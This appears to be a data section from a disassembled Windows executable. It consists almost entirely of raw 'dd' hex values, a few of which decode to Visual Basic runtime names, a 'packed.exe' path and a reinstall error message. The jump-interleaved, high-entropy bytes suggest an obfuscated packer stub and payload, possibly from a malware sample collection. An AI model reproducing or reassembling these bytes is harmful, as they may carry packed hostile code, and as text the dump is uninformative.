		dd 870F66h, 81000000h, 0C4736AE9h, 0B70F5212h, 81515BC2h
		dd 0FE5658F6h, 0E9028F19h, 8, 214C18C9h, 0C744F902h, 6604EA83h
		dd 0CEB3D881h, 0F01EF83h, 3085h, 14E900h, 0F5250000h, 0D63C9573h
		dd 2DC1A3FCh, 7AE3388Ah, 0C6F00F94h, 3FE9D816h,	22000000h
		dd 50BE2170h, 0E8C3E951h, 0C0451C26h, 4385DE0Bh, 10E9B7h
		dd 0E5830000h, 312E3BCBh, 39639BABh, 3DF8DB1h, 6BE9C238h
		dd 0DCFFFFFFh, 0DD1C1EA7h, 0DD0846FBh, 0D4123B4Fh, 0BC19D31Eh
		dd 8D8D5425h, 7EF7F8Eh,	8D0FE68Ah, 15h,	10E9h, 0F432AF00h
		dd 4DB7F7E2h, 226C6FFDh, 24B2D189h, 0D8D89F2h, 907E932h
		dd 0E90BA58Dh, 0EE907h,	0C2030000h, 0BFB5048h, 0C9A671CBh
		dd 60B08A95h, 22E585C7h, 5DFC07E9h, 81660000h, 0C7BF84D7h
		dd 0E922B185h, 7, 39B58B00h, 0E907E916h, 8, 733905BFh
		dd 4EA61C19h, 2C6DB5FFh, 952307E9h, 7E919DDh, 228595FFh
		dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 85C53C3h,	0D0826083h, 9589F960h, 7E90E85h
		dd 0FF006A61h, 0E90C3195h, 0EBC08B07h, 7735C379h, 0E0E00893h
		dd 58D2708h, 0DCADA1CFh, 0A330454Ch, 96F80455h,	6D1FDDD8h
		dd 4DFF63A1h, 0B48A3B5h, 55A4DAE6h, 3A98551Fh, 0FADD264h
		dd 0E08A65F3h, 53A1B12h, 0AA157076h, 454EA24h, 0C6AF0F19h
		dd 342CD1FBh, 3CFBC3C2h, 5694835Ch, 819D1575h, 43C30A7Fh
		dd 212C4C95h, 0DC1662E2h, 21FC1C2Fh, 0C0EC192h,	2C355654h
		dd 468F23D8h, 4F68CB94h, 0B9A04F9Ch, 6DE92471h,	45000001h
		dd 0DD004113h, 437C8360h, 5F6D5C3Ah, 61706E75h,	72656B63h
		dd 63617000h, 2E64656Bh, 657865h, 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 4 dup(0)
		dd 1B3EE9h, 83A86800h, 37E907EFh, 68FFF9FAh, 7EF8490h
		dd 0F9FA2DE9h, 85CE68FFh, 23E907EFh, 68FFF9FAh,	7EF869Fh
		dd 0F9FA19E9h, 86DE68FFh, 0FE907EFh, 68FFF9FAh,	7EF877Bh
		dd 0F9FA05E9h, 87CE68FFh, 0FBE907EFh, 68FFF9F9h, 7EF8815h
		dd 0F9F9F1E9h, 8F5F68FFh, 0E7E907EFh, 68FFF9F9h, 7EF8FE3h
		dd 0F9F9DDE9h, 907268FFh, 0D3E907EFh, 68FFF9F9h, 7EF917Dh
		dd 0F9F9C9E9h, 920668FFh, 0BFE907EFh, 68FFF9F9h, 7EF92D1h
		dd 0F9F9B5E9h, 935C68FFh, 0ABE907EFh, 68FFF9F9h, 7EF940Dh
		dd 0F9F9A1E9h, 9A0B68FFh, 97E907EFh, 68FFF9F9h,	7EF9AE0h
		dd 0F9F98DE9h, 9B9468FFh, 83E907EFh, 0BFFF9F9h,	0B31D90E0h
		dd 0E450DD9Fh, 2B852852h, 58F479FBh, 0BE2EC7B5h, 80F41979h
		dd 0D25243EDh, 1E5EF123h, 65172597h, 86FBA7C8h,	286D4306h
		dd 4A8EFC0Eh, 0A944D6A0h, 8A0FD63Ah, 5C9466h, 36C0EF86h
		dd 28041DD5h, 0E677D8AFh, 75508C43h, 2E931AD3h,	9D39F187h
		dd 0E36BFD7Fh, 0D7ED31B3h, 50C3961Bh, 1D7C35C7h, 7537B4ECh
		dd 3CC9D72Fh, 84898CFh,	9EB21A46h, 0B68200DCh, 73ACFBD7h
		dd 0BC5DE128h, 19F4A51Fh, 3DC18Ch, 0B3E10000h, 0ECA537A0h
		dd 37B5AAEDh, 7E27FFA5h, 2873AA62h, 0BE86F01Ah,	0C4800212h
		dd 4DC44336h, 0E0F0451h, 0D7F9A478h, 0F01CC436h, 0F121AD49h
		dd 0D9119373h, 1AAB1AEAh, 0F0548Ch, 4A6E0000h, 420ED6A0h
		dd 4571CDAFh, 5D79C5B7h, 0A32BBDBFh, 0BE03EF89h, 0E496A420h
		dd 0C1757D0Ch, 45D7305Ch, 0FC1EBA3Bh, 6DE5CB4h,	8816EE7Ch
		dd 98502ACCh, 2BBD2AC5h, 91BF7C92h, 72BEED54h, 1D43DA74h
		dd 26661B9Fh, 0EE305C6Ch, 7C1121B4h, 0B72A6A27h, 0B8EA305Ch
		dd 0AC3FCE2Ah, 7037B5A5h, 0F23EBCD4h, 6802940Eh, 73A57939h
		dd 21099B28h, 0F96E89DCh, 0CD24326Fh, 3A682FC7h, 1B9B16A0h
		dd 3D2087CEh, 3815D1Fh,	0A0B51193h, 0C28A1CD4h,	74A04D2Fh
		dd 1B1E9BE1h, 393C3516h, 1888B225h, 49E20000h, 62A862Fh
		dd 0B95FF974h, 92822EC7h, 1E339D10h, 0E059D75Eh, 961F5DF0h
		dd 0C469EB3Ah, 38B5C768h, 71FC7E9Ch, 9F1F920Ch,	71286D41h
		dd 0A74A655Bh, 0ED2029D2h, 5C0AF4B4h, 0F7861C30h, 7006C90Ch
		dd 89B953FDh, 8FCB1B99h, 0EE7C126Ah, 0A0B3C347h, 0E939A537h
		dd 0C572326Fh, 0A2305Ch, 71208672h, 37B5AB72h, 0D9A3B420h
		dd 15E97F05h, 73AB506Ch, 61083428h, 19FA50B0h, 564BE58Ch
		dd 2873B756h, 0D10CE4BEh, 9Eh, 0D6A04AF1h, 684CA944h, 2F3165D1h
		dd 0E23AFC3h, 0E7EF966Eh, 61305CB7h, 9A04A9CBh,	865E1832h
		dd 6A8034FCh, 0F6613408h, 7DAD761h, 2F37B5A5h, 8AA5F875h
		dd 7F168B1Dh, 372FC7CFh, 0DE73DB6Dh, 3F720C9Eh,	2087D07Fh
		dd 0CEC6B659h, 27911CD4h, 0FECF6A12h, 0C63C3514h, 17A0590Eh
		dd 31DA0000h, 0EE02AE47h, 0A1B7E18Ch, 0AAFA56DFh, 62B8528h
		dd 0C861FF76h, 0BE3745E8h, 0EC810312h, 20CDAF40h, 991466F4h
		dd 0B7F7AAF4h, 59286D40h, 0DC787D23h, 0E7FD413Bh, 0F28AAF0Bh
		dd 393BD143h, 0DC780EB4h, 0E2E03C3Eh, 0EE88A216h, 0CFCFC25Ch
		dd 41305CC4h, 4D5B9763h, 0C4BEFEB3h, 10AF305Ch,	25B92561h
		dd 574F2B6Bh, 0E57B09D5h, 0F183A90Dh, 990E297Ch, 9DDB920Fh
		dd 0C9DB37B4h, 0FF81973Fh, 0F686AB27h, 7406942Eh, 729E7D3Dh
		dd 250D9728h, 9DBC1889h, 65BC2872h, 62B31FE7h, 9DEBABE6h
		dd 7F252872h, 3E4615E9h, 5BE7639Fh, 0F7AA44B2h,	28729DB7h
		dd 0DCEF4B59h, 8C1B02E4h, 0D802h, 0BF3FA000h, 1DAF383Bh
		dd 76E4EA83h, 0EF5B25A9h, 9A8F4203h, 7D2737B5h,	0F176E899h
		dd 0E80BDCF9h, 0E9B4ED7Fh, 295B31E6h, 0ACE4AA4Dh, 3ECCD62Eh
		dd 0F64EDCE6h, 0B6346CE8h, 0C19C546Eh, 7A37C156h, 53444701h
		dd 53D1C1ADh, 0C963F1F3h, 4742423Fh, 0D0D24403h, 5AF48E18h
		dd 3476727h, 3FFBA944h,	7507719Bh, 423FB9E9h, 44034742h
		dd 0F642D0D2h, 0D1A349EBh, 0B89F2958h, 0C4FB4BDFh, 1662h
		dd 68057784h, 0A35228CCh, 109DDF71h, 47EE6CA4h,	0B93440D5h
		dd 87AA0623h, 0C5DC78F5h, 0ED02AE47h, 0A4B6E293h, 68325BDAh
		dd 6D407939h, 3619B28h,	0ED6A04Ah, 762BB8BBh, 305CC536h
		dd 0F1193C27h, 2569F56Bh, 0C65FE97Fh, 505D31C8h, 0F0F642FEh
		dd 0B4E5CA81h, 3BBAE837h, 0F0BF3F8Fh, 73BF3D54h, 9224B3BEh
		dd 4B8842FBh, 160F592Fh, 0A6344E96h, 0B2255C4Ah, 37B57Eh
		dd 0F5CB7AA2h, 0AAF8C82h, 0B3EE78EFh, 0A8A377E8h, 0D5A8742Eh
		dd 463BCD5Ah, 0A0B5D80Dh, 0ED6903A1h, 0BF0B1B4Fh, 0F353E19Bh
		dd 3FC963F1h, 18C80BA6h, 0B2E71F3Fh, 917505F2h,	25A88022h
		dd 8D3A2CB9h, 0F14D2FC2h, 37D45AF3h, 0B44672BEh, 102A2FCAh
		dd 0FA4AAD06h, 1591C5h,	3646D500h, 83F91DBFh, 0CEB046F2h
		dd 1F9DF527h, 65173A96h, 0FBD750C8h, 2D8F2656h,	53FD70F4h
		dd 8731BCBCh, 56A0B75h,	3EA8E899h, 5268286Dh, 0D6A04A6Ch
		dd 0E1E1305Bh, 2F805C33h, 1552h, 78F58794h, 0B34238DCh
		dd 0E08DEF01h, 57DE5CB4h, 892450E5h, 97BA1613h,	0B5EC48E5h
		dd 0FD12BE37h, 0B446F283h, 58422BCAh, 6D3F6929h, 3391AB28h
		dd 0ED6A04Ah, 9D2FB8BBh, 0B59AF1E4h, 79933B37h,	554F33FFh
		dd 1C9A09D8h, 0BDF48611h, 2FCC744Ah, 23D23A68h,	9D22BCB1h
		dd 22B423CEh, 3AB1246Fh, 6CB0F28Bh, 0E73F9E99h,	750B9965h
		dd 0A92B7BE3h, 5E34F55h, 2D4FE36Bh, 4178D4D1h, 3C543E0Dh
		dd 0CA8342AEh, 0E4834C7Eh, 8AA02CBEh, 41EB45E8h, 0A7EDBA37h
		dd 7BCB8FB0h, 14B544h, 5A1A3100h, 0A7D579DBh, 0F28CA20Eh
		dd 43C1D143h, 89F306B2h, 0C7B374E4h, 9AB4A32h, 0BF199418h
		dd 0E34DE098h, 0E1862F49h, 3DCCCCC5h, 3644286Dh, 0C51F9F50h
		dd 0D0EC305Ch, 7D305CB4h, 305CA561h, 5CA4F2CEh,	16608A30h
		dd 0E1C1C49Bh, 7B6CE033h, 1462h, 68057784h, 0A35228CCh
		dd 109DDF71h, 47EE6CA4h, 0B93440D5h, 87AA0623h,	0C5DC78F5h
		dd 0ED02AE47h, 0A4B6E293h, 68325BDAh, 6D3E7939h, 3619B28h
		dd 0A537A0B3h, 0B5A331ECh, 16A30137h, 3408C045h, 1BC4FB4Bh
		dd 5F000014h, 8731BCBCh, 0C8640973h, 7FD95426h,	0AC08A527h
		dd 0EA42F389h, 0ACC86D4Dh, 0FE7E9701h, 4A32C577h, 91E309ABh
		dd 722F7B1Ch, 286D3D32h, 4AFAA8E2h, 420ED6A0h, 81CAC9A8h
		dd 6C65255Ch, 0F5AF305Ch, 9A099860h, 21BD3804h,	0CE490A5h
		dd 11BD39E0h, 31087AFFh, 0ABA0691Dh, 7FBBC915h,	3156744Ch
		dd 2DF284h, 78D00000h, 0C941C4DCh, 0E324CBBh, 8342AE3Ch
		dd 305BF927h, 0A4492BC1h, 1F7280DDh, 0F6F04C30h, 7365255Ch
		dd 0F5AF3000h, 1388823Dh, 4ADC0000h, 700ED6A0h,	0F23EBCD4h
		dd 11AB3C3Fh, 0B5BA3D60h, 3DCFD537h, 2C24EBA0h,	62CE1C4Ch
		dd 0BE29C49Fh, 0C693912Ch, 82479586h, 48DDEDD5h, 99517CC1h
		dd 0F907920Fh, 950F2FCBh, 91EB0D49h, 0F94A651Ch, 0C202089h
		dd 0C155C76Eh, 0CB6F6BBBh, 99BF27B1h, 0AD851FE7h, 0B35ABA71h
		dd 0E021AA43h, 605852F6h, 92DBDBD6h, 6F35208Ah,	79031783h
		dd 0A8D067EFh, 0FCC47D40h, 7A940311h, 21Ch, 37A0B348h
		dd 0A919ECA5h, 0B9937B5h, 17B9F3Bh, 324AEF77h, 4B46D0D2h
		dd 2873A84Bh, 8E13DFC5h, 906C0E22h, 7397D5F1h, 0AB524628h
		dd 136D834Bh, 5D79B133h, 7F32C3B9h, 0A0D16BFCh,	2FCC74A1h
		dd 5553B3F1h, 99CDB5B8h, 8A38A8E8h, 0A33A6820h,	2713F801h
		dd 971E5EF3h
		dd 84047D17h, 442089D3h, 6A78C4B6h, 4B0782Ah, 9D0F8CF1h
		dd 6816960Bh, 0A4FE208Ah, 1B79F911h, 0E35AF385h, 5E0EB00Ah
		dd 0DF42800h, 208AA98Bh, 13D57498h, 0BCF77EFEh,	1D9426B1h
		dd 27E39616h, 7914A6FCh, 0D6E46DF1h, 3468C043h,	6D007298h
		dd 287929C3h, 0B44A58A4h, 61F65E68h, 7232D31Fh,	0BB18A1ADh
		dd 1E3CE891h, 4FB0CD58h, 6DCEFFC5h, 0A1A57C3Ch,	780E9418h
		dd 0C5B75BF5h, 0C3B95D79h, 0C564A863h, 0E08DEF03h, 0D5A4EF86h
		dd 0DE5EDA69h, 0E6FC403Ah, 1B61F450h, 6414ECDFh, 93529BECh
		dd 70000000h, 43D5A74Ah, 56FBC1AAh, 935FF5CBh, 99DE735Fh
		dd 1BE53430h, 0AB7B09B6h, 0E90DACD0h, 50ACC86Dh, 1F32E652h
		dd 9173D05Dh, 0ED84310Ch, 62h, 38DC78F5h, 28C2F642h, 5DE8F64Eh
		dd 8B81BDDh, 73092C05h,	8BA115DDh, 0E2423ADFh, 39F252E0h
		dd 58F236D7h, 7D17971Eh, 5BE68404h, 0DA168C30h,	31BB17E9h
		dd 285784h, 0B3730000h,	88EC01A0h, 0E982EB4h, 0B5B28C93h
		dd 0B2E8A37h, 6203E371h, 2873B346h, 0AA77163Ah,	8C19EE5Ah
		dd 8F94h, 0A0B32E00h, 0ADECA537h, 6537B599h, 47EBE73Fh
		dd 0F81CB835h, 8924A282h, 8D8CD179h, 71A58D8Bh,	0F4479FDDh
		dd 0EBA25BF2h, 0BCF5F26Bh, 0A7610874h, 0DA44E993h, 43A3DD72h
		dd 0EADAE941h, 48C1A2Ch, 46h, 33A4B35Eh, 0C4C8E899h, 5A48B05Ch
		dd 8B0D04C0h, 5CC49616h, 96247EB0h, 439F065Ah, 7EB05CC4h
		dd 97178A24h, 79B05CC3h, 0A0E0912Bh, 70B05CC3h,	0F39AC632h
		dd 24B629C8h, 5CC44D6Dh, 50DDC730h, 7FFh, 57510700h, 0F1000000h
		dd 8B0DED78h, 4D844508h, 5D1F31E5h, 6D213581h, 0E6E8135h
		dd 0E94BEA78h, 39A53745h, 99B6BE9h, 3B388D21h, 0B74E58A4h
		dd 58E99464h, 6E9F6D31h, 6C9F089Dh, 1DBA4BA7h, 0C5305C00h
		dd 0B759B43h, 800071h, 1290305Ch, 0C613BA26h, 8431A4FEh
		dd 0BAB78h, 0A6B34A00h,	183FA731h, 0C5019C60h, 0A89DC872h
		dd 87DB17A5h, 0F31E451Eh, 68113DB9h, 0DC8259ABh, 54950Dh
		dd 7F090000h, 0B1278202h, 861092A6h, 0B1278B0Bh, 0D31F85A6h
		dd 31A6B3F1h, 45700DA7h, 41F4AFDh, 0FB90F2Ch, 954097Eh
		dd 9F602021h, 0F2B0305Ch, 2359FC58h, 84EA9BD7h,	0DCD9C8D0h
		dd 0C1C1B04Ah, 5386E8D0h, 1FAD2F67h, 0CD0EAFD3h, 2DA4D3F3h
		dd 2A573h, 0A6B35700h, 0E6248331h, 60D6A04Ah, 535DB80Ah
		dd 93B930D4h, 51h, 70ED7837h, 0A6334510h, 1F14C921h, 8C95158Ch
		dd 257F305Ch, 0C680597h, 6C0E2020h, 127B1290h, 9634FCCBh
		dd 0C5AE0978h, 1E84305Ch, 819EF18Ch, 0F5B21B73h, 0CA788F3Dh
		dd 64DAA44Ah, 0F3B3EE78h, 0D5305CC4h, 485A3A42h, 515909E0h
		dd 57h,	36A6B3F1h, 0EC1AD30Dh, 8CEE00A8h, 43196FFEh, 0C0B4762Ch
		dd 978BC32h, 305CC5AEh,	78BE2CB2h, 678854EEh, 0C6BBC915h
		dd 305CC4C6h, 2E9C544Eh, 64DAA44Ah, 0F3B3EE78h,	0D5305CC4h
		dd 0DAE83440h, 346CE8BAh, 9C546EB6h, 0BAF78105h, 305CC4FAh
		dd 0E09ABE1Ah, 9F24E652h, 1741A1F7h, 35B8BC51h,	2907719Bh
		dd 260C688Dh, 26AD38D6h, 0BC8BF335h, 9841AD85h,	1C9EF65Eh
		dd 284AE0D4h, 86A80ECh,	0B43FFF22h, 0E8708B22h,	6651485h
		dd 0ED27C62Ah, 86F61B4Fh, 0E37A14F0h, 6C47F776h, 0AE0AE6F0h
		dd 9004F28Ch, 3AC11C7Dh, 571495Fh, 38F684F0h, 97BA22BCh
		dd 38E10DE5h, 830B6E8Ch, 0E81D8AA8h, 19779725h,	0A3B5AA8Ch
		dd 8169AEAFh, 0A8740015h, 0A55C871Eh, 0F1282351h, 0DC1BE839h
		dd 0D2FE46C4h, 2FFC40C2h, 0CBBA38E1h, 7BF913BBh, 5FC38606h
		dd 86148E49h, 6DA746AAh, 0B21AACC8h, 8815DD9Fh,	0A90A871Eh
		dd 7F9B7D03h, 8BF507B3h, 7D933BADh, 78386903h, 98495F64h
		dd 678A2E0Ah, 5F63DBF6h, 0E3495B49h, 408425C9h,	604CC8AAh
		dd 1F42A8CAh, 34D5F9DEh, 0FC185AF0h, 0D6CE7A90h, 23A1F054h
		dd 0C533C1C3h, 453C3CD1h, 495F6445h, 0DE71D5CFh, 0AE3C469Eh
		dd 0BFC25440h, 0B1586DF5h, 73D36123h, 7ACAB247h, 314BEC68h
		dd 0AD4CE0EDh, 55A92B7Bh, 0D93DB94Fh, 1466F430h, 0ED7882F0h
		dd 0F1462173h, 2D89618Ah, 78FF6D0Fh, 0C4F3B3EEh, 0BDD5305Ch
		dd 0B1DDE73Fh, 0BA48CCC5h, 7896347Eh, 46473ADCh, 0B7A8CFABh
		dd 0CAD824BAh, 0BBFB5233h, 0E1497CDFh, 18B225CCh, 0EE93138Eh
		dd 277D305Bh, 0B80AF9CBh, 46C4DC78h, 0D3D7D9EAh, 3617B930h
		dd 0B3000000h, 0BD33A4B3h, 4238DC78h, 4255E0E2h, 0F8C5D76Dh
		dd 0C8563CFh, 305C14B1h, 0CD892381h, 0F2F04C28h, 0CA788406h
		dd 48E2A64Ah, 3ECCD62Eh, 51DB7788h, 29h, 33A4B3F1h, 0AE0978BDh
		dd 0B2305CC5h, 0EE78BE2Ch, 5CC4F3B3h, 0AB871D30h, 0ED78873Dh
		dd 5156D943h, 0AD09E19Fh, 777DF389h, 0B4769FDBh, 7DE6305Ch
		dd 0FFFFFCEAh, 6B1125A1h, 439F3D8Fh, 0DC305CC5h, 832DC057h
		dd 0B533136Dh, 0C526661Bh, 0E617305Ch, 21F42FF4h, 0E44C563Eh
		dd 5BC8A5E5h, 31D8FC30h, 0F92961F7h, 0EC48E57Bh, 0E8833248h
		dd 5B1E049h, 2AB884F0h,	473E0694h, 72267680h, 429F3EC2h
		dd 0C6882B82h, 1ECFCh, 449FC600h, 8305CC5h, 0FD7554Ch
		dd 0EEAEE375h, 26305CC4h, 7EF9B47Ch, 9EF75FE9h,	0DDD4D21Eh
		dd 37B5A902h, 2F747530h, 13400141h, 0B244F07Dh,	0E26A74C8h
		dd 0E6D2324Ch, 0CFD52953h, 31C5F139h, 3BDFFB4Bh, 0D28FD41h
		dd 7691009Ah, 3C2FCCABh, 0FB78CB66h, 0C8043C33h, 0CD197h
		dd 76061500h, 0C3B95DFFh, 0E708632h, 5FDD3567h,	0A5D77AD6h
		dd 3B979008h, 6DCF6616h, 933DB034h, 0C771FC7Ch,	0C5AA4B35h
		dd 35E8A8D9h, 1228286Dh, 0B3EE78ACh, 305CC4F3h,	0FAB871Dh
		dd 0FEB393EDh, 8A52E473h, 0C9DF1B65h, 0ACECA53Fh, 64305CC4h
		dd 0E313F23Eh, 0CD384C43h, 0F61B4FE1h, 962CF086h, 48EE7600h
		dd 0FB1DBF36h, 0FB11BD81h, 45D0A579h, 0C64938D2h, 4C2FC61Dh
		dd 4762DB56h, 32023C39h, 0C4D9Dh, 0F282A900h, 3F3DD143h
		dd 8AF41AB6h, 0DB5949EBh, 215BFE5Ah, 0BF1B1C8Ch, 0E153E29Ah
		dd 17812CB0h, 5BF57800h, 492EC7B1h, 3664245Dh, 9EAC286Dh
		dd 0D2A04A28h, 45991B0Ah, 0C54A4A3Fh, 0D8CA305Ch, 3427FA4Ah
		dd 0ED9809A3h, 0A537B58Fh, 4EE16DFFh, 5DFFC22Eh, 7D30BDBFh
		dd 0DED365F2h, 30630F21h, 324AEF77h, 0FE881AC6h, 37BEC056h
		dd 75F72FB7h, 85F719BDh, 7DFF1DB9h, 0D641ECA1h,	0E8CA4D44h
		dd 5A4827DCh, 203A60DFh, 0EFC01C24h, 0BBEh, 0CC611338h
		dd 7AECC60h, 74F98395h,	0AB4AC8D8h, 1D90E409h, 2BCEAA8Fh
		dd 2170DC51h, 91A612A3h, 40EA46EFh, 0CCD6BF36h,	6D34D5D5h
		dd 5F0D3F28h, 41C4DC78h, 0D0663DD3h, 0C42CC2A3h, 0C83F3AD0h
		dd 0C2735D21h, 0FEB39321h, 5F52E473h, 37B51150h, 1B4C019Ch
		dd 0E94D6B41h, 0B5475D01h, 0AF770529h, 0AE206011h, 0B2F02873h
		dd 6FC9D41Ch, 903CB1CBh, 0D36AFC7Eh, 2F3AD053h,	0F2FF3B0Bh
		dd 33A0B350h, 9E57899Ah, 0D6CB2457h, 305C0ED6h,	44D6643Eh
		dd 71F322AAh, 2ADB17ADh, 37B4E58Bh, 5CC5198Bh, 2872E580h
		dd 0E031D864h, 8C1AC020h, 0AD5Eh, 0A64A6400h, 0A1AB42D4h
		dd 0B0B274FCh, 5C78B47Ch, 0CBCBC6B8h, 45305C79h, 5975C95Fh
		dd 5F7BCB49h, 792CC1BBh, 45DF69FEh, 79B6F6ABh, 725E305Ch
		dd 2713A123h, 0B56B6326h, 20F6B337h, 4639F531h,	0B112920Fh
		dd 0A0022873h, 0D4A64A12h, 4DE47A08h, 3408F5E4h, 0B37768E4h
		dd 3700000Ah
		dd 7FD95424h, 0A00CA1DBh, 0D741EC8Eh, 4B03DBFh,	72EA8BF1h
		dd 4430C5B5h, 96160FA9h, 0E29ABD1Fh, 294BE153h,	0CAC7E384h
		dd 286D33CAh, 7852304Ah, 5D5D54EEh, 0B7305CC5h,	0C4FCBCEDh
		dd 8E14305Ch, 6C9079FFh, 0F743C373h, 0A04D2FC3h, 676Fh
		dd 0A64AB700h, 9F2D4FE2h, 0B040700Dh, 0C4E4B655h, 0A58DEF00h
		dd 2EB9B409h, 8F0AE59Ch, 0FDA837B5h, 7E930BB7h,	99C26FEh
		dd 0DA68A05Ah, 8DBDC5Fh, 7B6CE034h, 0A2Ah, 20CDAF4Ch, 9B1A60F4h
		dd 0C8651739h, 3FB6346Ch, 71FC789Dh, 0BF523EFBh, 8D8430BDh
		dd 25CA660Fh, 0DC7EDA5Bh, 306A13A2h, 6D334141h,	0CBB9D328h
		dd 0ED6A04Ah, 937E570h,	504D42E2h, 5C1E3C98h, 7C9430CAh
		dd 0B60B8BFEh, 9F05305Ch, 7E921F53h, 0EAC202DFh, 3D3C8430h
		dd 0A2000002h, 336E143Ah, 305CBE73h, 0AD71079Dh, 3FE9DB17h
		dd 0D848EBEFh, 0B020107Fh, 7EEB828Fh, 0B1224FABh, 950C9E2Ch
		dd 37B57462h, 3BCA5250h, 0FBFACB5Ah, 0EB7DEA05h, 34CB07B6h
		dd 1809D53Ch, 0F6B05C94h, 0F2CAFBBBh, 0DA37EC2Ch, 0E08DEE00h
		dd 9C60F6ACh, 2FB92EC9h, 47D0F972h, 5DEFB534h, 94195BF1h
		dd 0C9601238h, 38B4154Ch, 5FC7F874h, 9B000009h,	0C36D0070h
		dd 74A04D2Fh, 0BB1598E2h, 0E844E96Bh, 2EBE3745h, 0F084A909h
		dd 42C2D37Dh, 8EEE01B3h, 0D5A7B5E7h, 366B3758h,	286D3376h
		dd 4A3E6C9Eh, 0B508D4A6h, 0E69B2DBAh, 384C43AFh, 0F28B1D87h
		dd 6E23FC33h, 286CE72Eh, 0AA29BCE6h, 36B0780Fh,	63F577AEh
		dd 0DCD8D8C9h, 6A38286Ch, 8091038Eh, 0C26D20FCh, 0BCEC355h
		dd 8B2FC5DAh, 0CEC78F19h, 1C75A74Eh, 4F460E98h,	8DC965CDh
		dd 1D640D6Fh, 3F3C390Dh, 8D4B027h, 5160000h, 0BA5EFA7Bh
		dd 6D832DC0h, 0DE366213h, 0D267D15Ch, 94950BAAh, 0CA6B1124h
		dd 38B5376Eh, 6C017B9Ch, 0A5482AC0h, 0EBABE6C0h, 25286D31h
		dd 2120B117h, 305CC559h, 419DDF73h, 4894E075h, 0FA78923Ah
		dd 5CC50787h, 59B0930h,	8B325239h, 0E990B46Fh, 788F2660h
		dd 98848D75h, 94875A96h, 0B5386903h, 0DD37B580h, 539BDAC0h
		dd 0BC4ED74Ch, 733FC5C5h, 0C7554F28h, 0F587A935h, 2454FB63h
		dd 636ECAD8h, 20BA2DC8h, 0C76DBA71h, 902A782Fh,	0C2542634h
		dd 387FED2Bh, 7E53C70h,	80159Dh, 0DB261278h, 8A1D379h
		dd 3C34E3FBh, 23124599h, 47000008h, 8F29C4B4h, 309C116Bh
		dd 67D15C1Eh, 9400AD2Fh, 0E27AFB81h, 0B4C05545h, 6869F39h
		dd 522ACD6Fh, 99DB71A3h, 7A377314h, 286D313Ah, 78C2A0DAh
		dd 0FC403ADCh, 5F7B0AE6h, 19305CC5h, 0B9EC81F3h, 59F29BEh
		dd 62795D68h, 0A58D9385h, 0B22F2AA4h, 8A1C8637h, 2E0181F0h
		dd 0E3EA2873h, 8C62B0EEh, 8B06A0ECh, 28736F0Bh,	21099F05h
		dd 80F81FC7h, 42D571EDh, 10D8EA3Ah, 61ED93A4h, 0BBFBAECEh
		dd 5528736Eh, 16968F4Fh, 930BBC80h, 5B000007h, 3C3EDC78h
		dd 5B16E2E0h, 0C4BD4FD8h, 37B5A8E9h, 0B7356D49h, 8824DD21h
		dd 7C2873A9h, 18E829D0h, 568C19FCh, 124h, 0DBA54A6Ch, 0D6564F0Bh
		dd 0CAA8420Eh, 5CC4D7D7h, 0D56B3930h, 0D2AA4D09h, 1E5EF123h
		dd 41CB8C6h, 61F7AA86h,	0CD255CEEh, 1D305CC5h, 247B1380h
		dd 0E44C43C2h, 255AAAF8h, 0D2D2CF59h, 42305CA6h, 0C5648860h
		dd 0E18CEC03h, 4133D985h, 0AF0BE7FDh, 922CF088h, 9F5B25CAh
		dd 5CA5DAEEh, 27C9230h,	0CC849622h, 66BE4C2Eh, 30C26B95h
		dd 0E420C9CFh, 0D1842953h, 473ACC43h, 305CA63Fh, 0AC39D3D1h
		dd 4629C3ECh, 0E508CCB7h, 4B075B97h, 0F95BDA5Ah, 0FCD824A8h
		dd 0AFC01C5Eh, 0CDC400A9h, 1B0AA64Fh, 933B4599h, 0B8C7FA7Fh
		dd 0A2D78D4h, 0DE1AA874h, 0F5871003h, 0B4D281BCh, 59F3B137h
		dd 0E05E57CCh, 0FE5EB154h, 0C6CB2759h, 6D8F3B6Ah, 0ECA17D13h
		dd 4A47D144h, 28735C46h, 0F9C9D3CEh, 4FA8CFCCh,	683265B9h
		dd 52E3A3DEh, 772D2873h, 822195E6h, 6CC414CEh, 76AF5900h
		dd 0C4DD7FF6h, 2DC32847h, 1BA93C6Bh, 4FCDC581h,	7FFA4FE3h
		dd 98235EE8h, 0FE2FCBD1h, 76AF09A4h, 3ADD7FF6h,	0AB33B342h
		dd 8E3CF484h, 0A537A0B3h, 0B5B9C9ECh, 8B5B4937h, 5C552BCFh
		dd 2873BA5Ch, 0A411E9B4h, 0C09C5624h, 730A9C32h, 423F0659h
		dd 2872E542h, 6E45D0D2h, 0A934FC04h, 5A4B319h, 0E064BDF1h
		dd 8160BC52h, 305CC525h, 459637DBh, 8430E07Bh, 47FBh, 0DC78CF00h
		dd 0E1E34339h, 0C589AD09h, 0E9FB4B31h, 9A1A8B5Bh, 0E9305CC4h
		dd 6E8246E7h, 39977D08h, 2FDE2B82h, 5BC93A7Ah, 3AC8DA30h
		dd 0A40CCCBBh, 0E07A305Bh, 5AAAD064h, 0C3C3BE48h, 4D305BA2h
		dd 9E249B57h, 7EFFFFFFh, 60D6A04Ah, 0A4B39032h,	2763BD33h
		dd 30D4535Dh, 3193B9h, 0B3370000h, 78BD33A4h, 9ED266EEh
		dd 0A022027Ch, 78B03212h, 5CC50989h, 2B990B30h,	0A64ACA78h
		dd 0FF7766D4h, 1BB80E66h, 7EBA0268h, 27514Ch, 0B3F10000h
		dd 78BD33A4h, 0FD413BDCh, 0E49D0BE7h, 305CC4A4h, 2AB2445Ah
		dd 0FBD7507h, 0A64ACA78h, 0FF7766D4h, 7EBAC257h, 6ED784Ch
		dd 4BFE1386h, 93138E18h, 7D305CB4h, 49EFCB27h, 0F98FED01h
		dd 0B53C7C25h, 51C305Ch, 3E361B1h, 0A713F381h, 18C4E891h
		dd 277C1DC9h, 0EC004D91h, 5272AD4Dh, 92834BABh,	14B03212h
		dd 1BBF7B01h, 9BEA8BF5h, 305C95C6h, 0F4062D96h,	0F551FFFFh
		dd 0EDDF1B61h, 59D4A64Ah, 0EA7CEB06h, 0B5A894B7h, 96208237h
